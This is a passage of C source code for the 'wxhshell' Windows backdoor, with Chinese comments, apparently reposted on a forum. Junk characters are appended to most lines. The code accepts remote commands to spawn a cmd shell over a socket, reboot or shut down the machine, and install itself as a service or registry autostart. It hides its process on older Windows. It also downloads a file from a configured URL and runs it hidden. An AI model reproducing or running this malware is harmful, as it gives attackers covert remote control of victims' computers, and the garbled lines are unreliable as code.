  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _iEnS4$A8  
  } Tr|PR t  
  else { Y|J=72!]  
?$uF(>LD  
    switch(cmd[0]) { %;= ?r*]  
  ?~.:C'  
  // 帮助 mO(Y>|mm  
  case '?': { v,z~#$T&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^;9l3P{  
    break; u2`j\ Vu  
  } qN9 ?$\  
  // 安装 >H5t,FfQL  
  case 'i': { F< 5kcu#iL  
    if(Install()) c#1kg@q@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}D0t]  
    else v6[VdWOx5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1LhZmv  
    break; +Wy`X5v  
    } }bdoJ5  
  // 卸载 $ <C",&  
  case 'r': { UL#:!J/34  
    if(Uninstall()) Ea'jAIFPpO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XP:fL NpQ  
    else 3 |LRb/|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bt5 P][<  
    break; f\Hw Y)^>  
    } ~Cw7.NA{3  
  // 显示 wxhshell 所在路径 in,0(I&I  
  case 'p': { }Qe(6'l_  
    char svExeFile[MAX_PATH]; ZWzr8oY)  
    strcpy(svExeFile,"\n\r"); P>)J:.tr0  
      strcat(svExeFile,ExeFile); 7+@-mJMP$D  
        send(wsh,svExeFile,strlen(svExeFile),0); RW1+y/#%P  
    break; L;L_$hu)  
    } K`uPPyv  
  // 重启 r&+C %  
  case 'b': { G %\/[ B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :oC;.u<*8  
    if(Boot(REBOOT)) 02tN=}Cj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zSk`Ou8M  
    else { F$|:'#KN  
    closesocket(wsh); lcy+2)+  
    ExitThread(0); h8Oj E$ H  
    } 9^N(s7s  
    break; 3 Fy C D4#  
    } s'l|Ii  
  // 关机 4KSq]S.  
  case 'd': { aaN/HE_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _s5FYb#  
    if(Boot(SHUTDOWN)) `,/5skeJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [q_62[-X  
    else { B B'qbX3xK  
    closesocket(wsh); =A{'57yP  
    ExitThread(0); 61&{I>~1  
    } k q?:<!z  
    break; (JnEso-V  
    } yD.(j*bMK;  
  // 获取shell nR@mm j  
  case 's': { @2d9 7.X  
    CmdShell(wsh); (vzYgU,  
    closesocket(wsh); w L>*WLfR  
    ExitThread(0); T"C.>G'[B  
    break; 3vAP&i'I  
  } jOGiT|A  
  // 退出 ]GCw3r(!  
  case 'x': { V lO^0r^z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (4yXr|to}  
    CloseIt(wsh); ZU.E}Rn:  
    break; &2 *  
    } 6@FhDj2X  
  // 离开 "iX\U'`  
  case 'q': { (Pw,3CbJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0c!^=(  
    closesocket(wsh); v3t<rv  
    WSACleanup(); DcM/p8da  
    exit(1); \dE{[^.5  
    break; n <> ^cD  
        } `U\l: ~]e  
  } v''J@F7  
  } wTZ(vX*mK  
H]wP \m)  
  // 提示信息 V:P]Ved  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T;{:a-8  
} Z(R0IW  
  } Ars*H,9>e  
QkHG`yW  
  return; xE!0p EHd  
} ,g*3u  
n4 N6]W\5  
// shell模块句柄 y\-iGKz{0  
int CmdShell(SOCKET sock) Ik5V?  
{ 60A!Gob  
STARTUPINFO si; !Yn#3c  
ZeroMemory(&si,sizeof(si)); J9j @V4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3b_/QT5!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e 6>j gy  
PROCESS_INFORMATION ProcessInfo; bXXX-Xc  
char cmdline[]="cmd"; F  Qk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2DJg__("  
  return 0; >py[g0J  
} C|w<mryx  
{TJBB/B1  
// 自身启动模式 Ya!e8 3-r  
int StartFromService(void) O#O"]A  
{ B <qsa QG  
typedef struct ' ;nG4+K  
{ mQ`2c:Rn&7  
  DWORD ExitStatus; 1MnC5[Q  
  DWORD PebBaseAddress; Lz-|M?(  
  DWORD AffinityMask; *f>\X[wN  
  DWORD BasePriority; !dh:jPpKq  
  ULONG UniqueProcessId; Wc!]X.|9*  
  ULONG InheritedFromUniqueProcessId; n|DMj[uT  
}   PROCESS_BASIC_INFORMATION; N$C+le  
@)[8m8paV  
PROCNTQSIP NtQueryInformationProcess; AcXVfk z  
>b5 ;I1o=y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } snS~kx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HJym|G>%?  
~!g2+^G7+P  
  HANDLE             hProcess; h7TkMt[l  
  PROCESS_BASIC_INFORMATION pbi; 2  @T~VRy  
@V5i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d]^m^  
  if(NULL == hInst ) return 0; 9^?muP<A  
AL,7rYZG$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P?n4B \!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J=: \b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I^u~r.  
N3MPW  
  if (!NtQueryInformationProcess) return 0; -{9mctt/gE  
mXS]SE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4e AMb  
  if(!hProcess) return 0; XOI"BLd  
yqL"YD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q+p}U}L= k  
S^p^) fAmF  
  CloseHandle(hProcess); #-+Q]}fB4  
FkuD Gg~a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $U9]v5  
if(hProcess==NULL) return 0; SDE$ymP x  
Tbv w?3  
HMODULE hMod; M eep  
char procName[255]; j%w^8}U>G  
unsigned long cbNeeded; -\;0gnf{J  
\)o.Y zAo@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ok{1{EmP  
JN`$Fq+  
  CloseHandle(hProcess); ~OR^  
oD\t4]?E  
if(strstr(procName,"services")) return 1; // 以服务启动 `aG _m/7|  
i|AWaG)  
  return 0; // 注册表启动 eiyr^Sch.  
} |3T2}ohrr  
oA7DhU5n  
// 主模块 }79jyS-e  
int StartWxhshell(LPSTR lpCmdLine) %D:VcY9OC  
{ "M[&4'OM  
  SOCKET wsl; L97 ~ma  
BOOL val=TRUE; srAWet  
  int port=0; FJCORa@?_  
  struct sockaddr_in door; Sa[lYMuB  
& /T}  
  if(wscfg.ws_autoins) Install(); ~|O;Sdo=  
Eri007?D  
port=atoi(lpCmdLine); PLz+%L;{  
r6 3l(  
if(port<=0) port=wscfg.ws_port; ")vtS}Ekt  
(hZNWQ0  
  WSADATA data; @{_X@Wv4iV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a:UkVK]MP  
kBrA ?   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mTWd+mx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1y1:<t  
  door.sin_family = AF_INET; 'Rsr*gX#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); phf{b+'#X  
  door.sin_port = htons(port); ]u$tKC  
Wex2Fd?DO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3%GsTq2o  
closesocket(wsl); cNmAr8^}  
return 1; 7#G!es  
} {^N,$,Ab.  
H' /V<%  
  if(listen(wsl,2) == INVALID_SOCKET) { WoGnJ0N q  
closesocket(wsl); 6|f8DX%3V  
return 1; Q%?%zuU  
} wXqwb|2  
  Wxhshell(wsl); u t4:LHF  
  WSACleanup(); p"~@q}3  
mk!8>XvM  
return 0; SSE,G!@  
5WRqeSGh  
} uuF~+=.|  
DBcR1c&<H  
// 以NT服务方式启动 \#w8~+`Gq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hrzxc4,W  
{ {fl[BX]kZ  
DWORD   status = 0; V( 0Y   
  DWORD   specificError = 0xfffffff; y_q1Y70i2r  
H*3u]Ebh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G:lhrT{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; piIz ff  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t B`"gC~  
  serviceStatus.dwWin32ExitCode     = 0; AI{0;0  
  serviceStatus.dwServiceSpecificExitCode = 0; R_GA`U\ {  
  serviceStatus.dwCheckPoint       = 0; 7]5~ml3:  
  serviceStatus.dwWaitHint       = 0; 8,vP']4r%  
V/"RCqY4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lV 4TFt ,  
  if (hServiceStatusHandle==0) return; +`Nu0y!rj  
%P<fz1  
status = GetLastError(); %'e$N9zd  
  if (status!=NO_ERROR) +N+117m  
{ l?J[K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^z, B}Nz  
    serviceStatus.dwCheckPoint       = 0; }{:}K<  
    serviceStatus.dwWaitHint       = 0;  (yd(ZY  
    serviceStatus.dwWin32ExitCode     = status; L1Yj9i  
    serviceStatus.dwServiceSpecificExitCode = specificError; l,b,U/3R.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tq'hiS(b  
    return; :KG=3un]  
  } 40].:9VG  
,f,+)C$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w?nSQBz$  
  serviceStatus.dwCheckPoint       = 0; gjnEN1T22  
  serviceStatus.dwWaitHint       = 0; 4K`b?{){+a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OT|0_d?bD  
} CA&VnO{r  
BSd.7W;cS=  
// 处理NT服务事件,比如:启动、停止 b|kL*{;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >< S2o%u~  
{ c>/7E-T  
switch(fdwControl) &1 yErGXC  
{ a x;<idC}  
case SERVICE_CONTROL_STOP: 3&M0@/  
  serviceStatus.dwWin32ExitCode = 0; 5i'?oXL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; edlf++r~  
  serviceStatus.dwCheckPoint   = 0; a#CjGj)  
  serviceStatus.dwWaitHint     = 0; j%]sym  
  { x 00'wY|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,`a8@  
  } ,g"JgX  
  return; 3?_%|;ga  
case SERVICE_CONTROL_PAUSE: LXrk5>9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i7YUyU  
  break; f qWme:x  
case SERVICE_CONTROL_CONTINUE: E|_8#xvb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q/j#Pst  
  break; ".( G,TW  
case SERVICE_CONTROL_INTERROGATE: &><b/,]  
  break; upeioC q  
}; .s41Tc5u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1LvR,V<  
} 3tUn?; 9B  
]{+Y!tD  
// 标准应用程序主函数 L %ifl:K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <W7WlT  
{ unz~vG1Tn  
.V_5q:tu  
// 获取操作系统版本 YG0b*QBY~  
OsIsNt=GetOsVer(); [Ran/D\.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w6Mv%ZO_  
TMs Cl6dB  
  // 从命令行安装 tBl (E  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^x^(Rk}|  
l)jP!k   
  // 下载执行文件 P (Y\l  
if(wscfg.ws_downexe) { [4dX[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?`kZ6$  
  WinExec(wscfg.ws_filenam,SW_HIDE); W.D>$R2  
} t pxk8Ys  
eHd7fhW5  
if(!OsIsNt) { -GB,g=Dk  
// 如果时win9x,隐藏进程并且设置为注册表启动 i;|I; 5tC  
HideProc(); a gL@A  
StartWxhshell(lpCmdLine); ;AL:V U  
} @g" vuaG}  
else {/aHZ<I&^h  
  if(StartFromService()) `Nz`5}8.?  
  // 以服务方式启动 .XkVdaX  
  StartServiceCtrlDispatcher(DispatchTable); 4mX?PKvbn  
else H<?s[MH[  
  // 普通方式启动 -2 8bJ,  
  StartWxhshell(lpCmdLine); "d}ey=$h4  
fuF{8-ua  
return 0; (#z6w#CU(  
}
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只看该作者 1 发表于: 2006-10-10
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